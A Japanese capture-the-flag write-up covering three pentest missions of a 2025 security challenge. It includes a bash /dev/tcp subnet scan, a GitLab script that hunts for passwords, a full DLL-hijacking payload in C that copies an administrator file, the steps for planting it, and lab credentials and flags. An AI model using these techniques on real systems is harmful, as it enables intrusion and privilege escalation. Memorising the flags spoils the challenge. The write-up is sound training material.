🫠

FFRI × NFLabs. Cybersecurity Challenge 2025 Writeup

に公開

まえがき

FFRI × NFLabs. Cybersecurity Challenge 2025に参加しており、6位だった。

Pentestカテゴリの問題は、全て解くことができました。
その中でも、最後の問題であるEnumerationについて、本記事ではその問題に絞って解説します。

================⚠️⚠️⚠️================

想定:これは演習環境(CTF)での手法の記録です。
実運用環境での無断実施は違法なので絶対にやらないでください。

================⚠️⚠️⚠️================

Pentest

Enumeration(2 solves)

Mission01(7 solves)

なたは新任のペネトレーションテスターです。
とある小企業が運用しているサーバへのペネトレーションテストを依頼されました。


サーバのシステム担当はIT技術に詳しいものの、セキュリティ分野に関しては久しく触れていないようです。
「我々のシステムは対策を施しているから問題ないはずだ」と話していますが、あなたはこのサーバに侵入できるでしょうか?


本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから <ターゲットのIP> のマシンを調査してください。
Linuxサーバのどこかにあるuser.txt がこのミッションの解答です。

まず、10.0.129.123でnmapで検索してみると、ローカルで、gitlabが動いていることがわかるので、hostsに書き込み、アクセスできることを確認しました。

10.0.129.123 www.mirai-itsystems.local gitlab.mirai-itsystems.local 
┌──(kali㉿kali)-[~/Desktop]
└─$ cat > id_ed25519_m_yamada <<'EOF'                                 
-----BEGIN OPENSSH PRIVATE KEY-----
@@@@@@@....
-----END OPENSSH PRIVATE KEY-----
EOF
                                                                                                  
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 id_ed25519_m_yamada                                         
                                                                                                  
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_ed25519_m_yamada -o IdentitiesOnly=yes m.yamada@10.0.129.123 
The authenticity of host '10.0.129.123 (10.0.129.123)' can't be established.
......
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-1011-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Sep 16 06:44:18 UTC 2025

  System load:  0.32               Temperature:           -273.1 C
  Usage of /:   28.7% of 28.02GB   Processes:             174
  Memory usage: 79%                Users logged in:       0
  Swap usage:   19%                IPv4 address for ens5: 10.0.129.123

......
m.yamada@ip-10-0-129-123:~$

m.yamada@ip-10-0-129-123:~$ ls
user.txt
m.yamada@ip-10-0-129-123:~$ cat user.txt 
flag{Z9cfPPYpGx6wnJQZxurDiThmUtrgmCpv}
m.yamada@ip-10-0-129-123:~$ 

flag{Z9cfPPYpGx6wnJQZxurDiThmUtrgmCpv}

Mission02(4 solves)

企業のサーバに侵入できたあなたは次の一手を探ります。
システム担当いわく、この会社では2台のサーバが稼働しているそうです。


引き続きVPN接続マシンまたはBrowser Kaliから <ターゲットのIP> のマシンを調査し、Windowsサーバのどこかにあるuser.txt を取得してください。これがこのミッションの解答です。
m.yamada@ip-10-0-129-123:~$ SUB=10.0.129
m.yamada@ip-10-0-129-123:~$ for p in 445 3389 5985; do   echo "[*] scan $SUB.0/24 port $p";   seq 1 254 | xargs -I{} -P50 bash -lc 'h='"$SUB"'.{}; timeout 0.6 bash -lc "echo >/dev/tcp/$h/'"$p"'" 2>/dev/null && echo "$h open '"$p"'"'; done
[*] scan 10.0.129.0/24 port 445
[*] scan 10.0.129.0/24 port 3389
10.0.129.120 open 3389
[*] scan 10.0.129.0/24 port 5985
10.0.129.120 open 5985
m.yamada@ip-10-0-129-123:~$ 

10.0.129.120 が Windows っぽい(RDP:3389 / WinRM:5985 オープン)。

m.yamada@ip-10-0-129-123:~$ curl -i --max-time 3 http://10.0.129.120:5985/wsman | sed -n '1,25p'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.1 405 
Allow: POST
Server: Microsoft-HTTPAPI/2.0
Date: Tue, 16 Sep 2025 07:07:09 GMT
Connection: close
Content-Length: 0

m.yamada@ip-10-0-129-123:~$ echo | openssl s_client -connect 10.0.129.120:3389 2>/dev/null \
| openssl x509 -noout -subject -issuer -dates -fingerprint -sha256
subject=CN = EC2AMAZ-KJO15RD
issuer=CN = EC2AMAZ-KJO15RD
notBefore=Jul 14 19:20:05 2025 GMT
notAfter=Jan 13 19:20:05 2026 GMT
sha256 Fingerprint=07:12:DB:C8:B0:72:74:6B:AA:C8:3B:7F:99:6E:DE:4B:6D:61:5E:89:1A:48:F6:5E:1C:57:61:76:62:B5:69:AC
m.yamada@ip-10-0-129-123:~$ 

windowsで間違いなさそう。

ここから、認証情報を探していく。
最初はawsの権限あたりかなとかおもいつつも、それでは権限が足りなかったので、、別のものを探しました。その後、gitlabのログとかそのへんかなとか思いつつ、色々見ていくと、、

m.yamada@ip-10-0-129-123:~$ sudo gitlab-rails runner '
kw = /(パスワード|資格情報|接続情報|ログイン|管理者|Administrator|RDP|WinRM|10\.0\.128\.167|user\.txt)/i            
Issue.find_each do |i|
  t = [i.project&.full_path, i.iid, i.title, i.description].join(" | ")  puts "[Issue] #{t}" if t&.match?(kw)
end                    
Note.find_each do |n|
  next unless n.project
  t = [n.project.full_path, n.noteable_id, n.note.to_s].join(" | ")
  puts "[Note] #{t}" if t.match?(kw)
end
Snippet.find_each do |s|
  t = [s.author&.username, s.title, s.file_name, s.content].join(" | ")
  puts "[Snippet] #{t}" if t&.match?(kw)
end
' | sed -n '1,200p'
[Issue] mirai-it-systems/Internal | 39 | 開発者共通ユーザーの追加 | 開発者共通ユーザーを追加しました。ユーザー名は`develop_common`でパスワードは`7qx89Vz58TQLJYrUaaLG8CcaxJLXD6DT`です。
[Note] mirai-it-systems/Internal | 39 | 個人用ユーザーが発行されていない人は共通ユーザーでログインしてください。
m.yamada@ip-10-0-129-123:~$ 

管理者共通ユーザー
ユーザー名: develop_common
パスワード: 7qx89Vz58TQLJYrUaaLG8CcaxJLXD6DT

が見つかりました。

ログインできました!

flagは...

flag{3ibPzKAiNpJYtL6chLGtpyrkPwn6tDrd}

Mission03(2 solves)

あなたはWebサーバに横展開できましたが、このアカウントは管理者ではないようです。
大いなる力を得るためには、ここからどうすればよいでしょうか?


引き続きVPN接続マシンまたはBrowser Kaliから <ターゲットのIP> のマシンを調査し、Windowsサーバのどこかにあるroot.txt を取得してください。これがこのミッションの解答です。

攻撃の概要

一般ユーザー権限から、管理者権限で毎分実行されるスケジュールタスクを悪用し、システムの最高権限を奪取しました。
初期権限: EC2AMAZ-KJO15RD\develop_common (開発者共通ユーザー)
<< MISSION02から取得

脆弱性: 管理者権限で実行されるタスク(\MonitorIIS)が、一般ユーザーでも書き込み可能なディレクトリからDLLファイルを無検証でロードする。

攻撃手法: 攻撃用の自作DLLを該当ディレクトリに配置(DLLハイジャッキング)。タスクの実行時に管理者権限でDLLがロードされ、任意のコードが実行される。

最終目標: C:\Users\Administrator\Desktop\root.txt(今までの問題より推定) を読み取り、フラグ flag{...} を獲得する。

🕵️ 脆弱性の特定

環境情報

ホスト名: EC2AMAZ-KJO15RD
OS: Windows Server 2022 Datacenter 10.0.20348 (x64)
ユーザー: `develop_common`
パスワード: `7qx89Vz58TQLJYrUaaLG8CcaxJLXD6DT`
  • スケジュールタスクの発見
    まず、システム内で定期的に実行されるタスクを調査したところ、管理者権限で毎分実行される不審なタスク \MonitorIIS を発見しました。
# スケジュールタスクの詳細をリスト表示し、「MonitorIIS」を含むものを検索
schtasks /query /fo LIST /v | findstr /i "MonitorIIS"

最初は.NETスクリプト実行の可能性を調べました。
当初、MonitorIISTask.runtimeconfig.json の内容から、このアプリケーションが .NET 8 で作られていると判断しました。よくあるパターンとして、「特定のディレクトリに置かれたC#ソースコード(.cs / .csx)を動的にコンパイルして実行する」仕組みを疑い、C:\MONITOR\ 配下に自作のC#コードを配置してみました。

しかし、実行ログには「Dummy impl…」と表示されるだけで、配置したコードが実行される気配はありませんでした。このアプローチは失敗と判断し、方針を転換しました。

次に、プログラム本体(.exe と .dll)に含まれる文字列を直接調査し、その動作を観測しました。

# PowerShellでバイナリファイルからASCII文字列を抽出
$files = @('C:\\MONITOR\\MonitorIISTask.exe','C:\\MONITOR\\MonitorIISTask.dll')
foreach ($f in $files) {
  $b = [IO.File]::ReadAllBytes($f)
  $s = [Text.Encoding]::ASCII.GetString($b)
  ($s -split "`0") | Select-String -SimpleMatch -Pattern @(
    'MailNotifier','SlackNotifier','Notifier','dllName','_dllPtr',
    'Send','SendImpl','Start','NotifyFailure'
  )
}

この結果、以下のような興味深い文字列が多数見つかりました。MailNotifier, SlackNotifier

dllName, _dllPtr
Send, SendImpl, Start, NotifyFailure

これらのキーワードから、「C:\MONITOR\dll\ 配下の MailNotifierSlackNotifier といった名前のディレクトリから、プラグインとなるDLLファイルを動的に読み込み、そのDLLがエクスポートする SendStart といった関数を呼び出す」という、典型的なプラグイン構造であると推測しました。

推測を裏付けるため、プラグインが格納されていると思われるディレクトリのアクセス権(ACL)を確認しました。

Get-Acl C:\MONITOR\dll\MailNotifier
Get-Acl C:\MONITOR\dll\SlackNotifier

結果、BUILTIN\Users グループに対して CreateFiles/AppendData (ファイルの作成/追記)権限が付与されていることが判明しました。これにより、管理共通ユーザーである develop_common が、これらのディレクトリに自由にファイルを作成できることが確定し、攻撃できそうだなと思いました。

💥 DLLインジェクションによる権限昇格

Step 1: 攻撃用DLLの作成
まず、ターゲットシステムで実行させる悪意のあるDLLをローカル環境で作成します。このDLLは、ロードされた際に root.txt を全ユーザーがアクセス可能な Public フォルダにコピーする単純な機能を持たせます。

Send, Start など、プログラムが呼び出しそうな関数をすべてエクスポートし、どれか一つでも呼び出されれば攻撃が成功するように設計しました。

// plugin.c : 64-bit native DLL with multiple exports (cdecl)
#include <windows.h>

static void do_copy(void) {
    // 成果物:root.txt -> Public
    CopyFileW(L"C:\\Users\\Administrator\\Desktop\\root.txt",
              L"C:\\Users\\Public\\root.txt", FALSE);

    // 簡易ログ
    HANDLE h = CreateFileW(L"C:\\Users\\Public\\plugin_log.txt",
        GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL, NULL);
    if (h != INVALID_HANDLE_VALUE) {
        SetFilePointer(h, 0, NULL, FILE_END);
        const char *msg = "dll OK\r\n";
        DWORD w;  WriteFile(h, msg, (DWORD)lstrlenA(msg), &w, NULL);
        CloseHandle(h);
    }
}

BOOL WINAPI DllMain(HMODULE h, DWORD r, LPVOID p){ return TRUE; }

// 衝突を避けるため lowercase の send は定義しない
__declspec(dllexport) void Send(void *msg)     { do_copy(); }
__declspec(dllexport) void SendImpl(void *msg) { do_copy(); }
__declspec(dllexport) void Start(void)         { do_copy(); }
__declspec(dllexport) void NotifyFailure(void) { do_copy(); }

このCコードを、MinGW-w64を使い64bit版のWindowsで動作するDLLとしてコンパイルします。

#macOS/Linuxでのコンパイル例
x86_64-w64-mingw32-gcc -shared plugin.c -o Notifier.dll -s

Step 2: ターゲットへの配置
作成した Notifier.dll をliunxサーバーに転送します。

% scp -i id_ed25519_m_yamada -o IdentitiesOnly=yes \
    ./Notifier.dll \
    m.yamada@10.0.129.123:/tmp/Notifier.dll
Notifier.dll                                                                     100%   13KB 413.8KB/s   00:00    
% 

その後、liunxサーバーを中継して、ターゲットサーバー(windows)に転送します。
(windowsサーバーは外部ネットワークには繋がっていないため。)

% ssh -i id_ed25519_m_yamada -o IdentitiesOnly=yes m.yamada@10.0.129.123 \ 
    'ls -lh /tmp/Notifier.dll; sha256sum /tmp/Notifier.dll'
-rwxr-xr-x 1 m.yamada m.yamada 13K Sep 18 09:13 /tmp/Notifier.dll
b524d777733b9d5c0dce5d49a3c9f300fde302ea7f55731c805f62084542cbbd  /tmp/Notifier.dll
% 

※certutil がブロックされたため PowerShell で保存しました。
次に、プログラムが読み込むであろう複数の "当たり名" で、書き込み権限のあるディレクトリにDLLを配置します。既存のDLLがロックされていて上書きできない場合があるため、一度削除してからコピーする手法を取りました。

PS C:\Users\develop_common> Invoke-WebRequest -Uri 'http://10.0.129.123:8000/Notifier.dll' -OutFile 'C:\MONITOR\Notifier.dll'
# 既存のDLLを削除
Remove-Item 'C:\MONITOR\dll\MailNotifier\MailNotifier.dll' -Force -ErrorAction SilentlyContinue
Remove-Item 'C:\MONITOR\dll\SlackNotifier\SlackNotifier.dll' -Force -ErrorAction SilentlyContinue

# 作成したDLLを複数の名前でコピー
PS C:\Users\develop_common> copy-Item 'C:\MONITOR\Notifier.dll' 'C:\MONITOR\dll\SlackNotifier\SlackNotifier.dll' -Force
PS C:\Users\develop_common> Copy-Item 'C:\MONITOR\Notifier.dll' 'C:\MONITOR\dll\MailNotifier\MailNotifier.dll' -Force

Step 3: 発火とフラグの取得
あとは、スケジュールタスクが1分以内に実行されるのを待つだけです。数十秒後、攻撃が成功したかを確認します。

1..20 | %{
  Start-Sleep 6
  Write-Host "=== try $_ ==="
  Get-Content C:\Users\Public\root.txt -ErrorAction SilentlyContinue
  Get-Content C:\Users\Public\plugin_log.txt -ErrorAction SilentlyContinue
  schtasks /query /TN \MonitorIIS /fo LIST /v | findstr /i "Last Run Time Last Result"
}

結果

PS C:\Users\develop_common> 1..20 | %{
>>   Start-Sleep 6
>>   Write-Host "=== try $_ ==="
>>   Get-Content C:\Users\Public\root.txt -ErrorAction SilentlyContinue
>>   Get-Content C:\Users\Public\plugin_log.txt -ErrorAction SilentlyContinue
>>   schtasks /query /TN \MonitorIIS /fo LIST /v | findstr /i "Last Run Time Last Result"
>> }
=== try 1 ===
flag{JnTzhA3mFctY7aRKSGJKqT2MJFLXprNJ}
dll OK
dll OK
dll OK
dll OK
Next Run Time:                        9/18/2025 10:17:00 AM
Last Run Time:                        9/18/2025 10:16:22 AM
Last Result:                          -2147020576
Task To Run:                          C:\MONITOR\MonitorIISTask.exe
Idle Time:                            Disabled
Run As User:                          Administrator
Stop Task If Runs X Hours and X Mins: 72:00:00
Start Time:                           12:00:00 AM
Repeat: Until: Time:                  None
Repeat: Stop If Still Running:        Disabled
=== try 2 ===
......
flag{JnTzhA3mFctY7aRKSGJKqT2MJFLXprNJ}

あとがき

今回のpentestの問題を通じ、情報がどのように漏洩するのかを目の当たりにし、セキュリティ管理の難しさを痛感しました。私自身もGitLabサーバを運用しているため、この経験を活かし、より一層注意を払っていこうと思います。

また、Web問題はあと一歩で解けませんでしたが、後から解き直す(upsolveする)ことで無事解決でき、大変勉強になりました。何よりも、取り組む前には仕様をしっかりと確認することの重要性を再認識させられた課題でした。

Discussion